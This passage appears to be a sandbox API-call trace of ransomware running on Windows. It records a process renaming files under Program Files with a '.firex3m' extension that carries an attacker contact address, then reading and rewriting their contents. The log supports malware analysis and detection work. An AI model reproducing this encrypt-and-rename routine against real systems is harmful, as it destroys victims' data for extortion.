lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.866] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.866] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.866] CloseHandle (hObject=0x42c) returned 1 [0220.870] GetProcessHeap () returned 0x630000 [0220.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0220.870] GetProcessHeap () returned 0x630000 [0220.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0220.870] GetProcessHeap () returned 0x630000 [0220.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0220.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49977c6b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x343fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5200 [0220.870] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.870] Sleep (dwMilliseconds=0x1) [0220.900] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json", len=0x6c | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json") returned 1 [0220.901] GetProcessHeap () returned 0x630000 [0220.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5114) returned 0x6fe3bb0 [0220.901] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\metadata.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0220.901] CloseHandle (hObject=0x42c) returned 1 [0220.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.901] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\metadata.json"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="metadata.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="METADA~1.FIR")) returned 0x6d5040 [0220.902] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.902] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0220.903] GetProcessHeap () returned 0x630000 [0220.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x141) returned 0x6ef93f0 [0220.903] GetProcessHeap () returned 0x630000 [0220.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x141) returned 0x6ef8e90 [0220.903] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.903] ReadFile (in: hFile=0x42c, lpBuffer=0x6ef93f0, nNumberOfBytesToRead=0x120, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef93f0*, lpNumberOfBytesRead=0x343ff0c*=0x120, lpOverlapped=0x0) returned 1 [0222.323] GetProcessHeap () returned 0x630000 [0222.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0222.324] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.324] WriteFile (in: hFile=0x42c, lpBuffer=0x6ef8e90*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef8e90*, lpNumberOfBytesWritten=0x343ff0c*=0x120, lpOverlapped=0x0) returned 1 [0223.787] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.787] WriteFile (in: hFile=0x42c, lpBuffer=0x6ef8faf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef8faf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0224.969] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.969] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0224.969] CloseHandle (hObject=0x42c) returned 1 [0225.652] GetProcessHeap () returned 0x630000 [0225.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef8e90 | out: hHeap=0x630000) returned 1 [0225.652] GetProcessHeap () returned 0x630000 [0225.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef93f0 | out: hHeap=0x630000) returned 1 [0225.653] GetProcessHeap () returned 0x630000 [0225.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0225.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\metadata.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c0a84ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x343fd20, dwReserved1=0x6ef93f0, cFileName="metadata.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="METADA~1.FIR")) returned 0x6d5040 [0225.952] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0227.572] Sleep (dwMilliseconds=0x1) [0229.574] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml") returned 1 [0229.574] GetProcessHeap () returned 0x630000 [0229.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ec) returned 0x6fe3bb0 [0229.574] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.575] CloseHandle (hObject=0x640) returned 1 [0229.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.576] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5240 [0229.577] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0229.577] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.577] GetProcessHeap () returned 0x630000 [0229.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0229.577] GetProcessHeap () returned 0x630000 [0229.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa7f0 [0229.577] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.577] ReadFile (in: hFile=0x640, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x343ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0229.580] GetProcessHeap () returned 0x630000 [0229.580] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0229.580] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.580] WriteFile (in: hFile=0x640, lpBuffer=0x74aa7f0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7f0*, lpNumberOfBytesWritten=0x343ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0229.580] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.580] WriteFile (in: hFile=0x640, lpBuffer=0x74aa98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa98f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.580] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.580] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.580] CloseHandle (hObject=0x640) returned 1 [0229.580] GetProcessHeap () returned 0x630000 [0229.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa7f0 | out: hHeap=0x630000) returned 1 [0229.581] GetProcessHeap () returned 0x630000 [0229.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0229.581] GetProcessHeap () returned 0x630000 [0229.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0229.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4eca0979, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x343fd20, dwReserved1=0x74aa440, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4ec0 [0229.581] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0229.581] Sleep (dwMilliseconds=0x1) [0231.261] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml") returned 1 [0231.261] GetProcessHeap () returned 0x630000 [0231.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b8) returned 0x6fe3bb0 [0231.261] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0234.054] CloseHandle (hObject=0x6e8) returned 1 [0234.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.055] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.188] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0234.188] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.188] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0234.188] GetProcessHeap () returned 0x630000 [0234.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0234.188] GetProcessHeap () returned 0x630000 [0234.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0234.188] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.188] ReadFile (in: hFile=0x6e8, lpBuffer=0x6e2830, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesRead=0x343ff0c*=0x160, lpOverlapped=0x0) returned 1 [0234.191] GetProcessHeap () returned 0x630000 [0234.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0234.191] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.191] WriteFile (in: hFile=0x6e8, lpBuffer=0x6e2500*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesWritten=0x343ff0c*=0x160, lpOverlapped=0x0) returned 1 [0234.191] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.191] WriteFile (in: hFile=0x6e8, lpBuffer=0x6e265f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e265f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.191] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.191] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.191] CloseHandle (hObject=0x6e8) returned 1 [0234.191] GetProcessHeap () returned 0x630000 [0234.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0234.191] GetProcessHeap () returned 0x630000 [0234.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0234.191] GetProcessHeap () returned 0x630000 [0234.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0235.443] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5189b568, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x343fd20, dwReserved1=0x6e2830, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0235.444] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.444] Sleep (dwMilliseconds=0x1) [0235.533] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml", len=0x59 | out: pbstr=0x343ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml") returned 1 [0235.533] GetProcessHeap () returned 0x630000 [0235.533] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x503c) returned 0x6fe3bb0 [0235.533] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.533] Sleep (dwMilliseconds=0x1) [0235.554] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml") returned 1 [0235.554] GetProcessHeap () returned 0x630000 [0235.554] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5028) returned 0x6fe3bb0 [0235.554] CreateFileW (lpFileName="C:\\Program 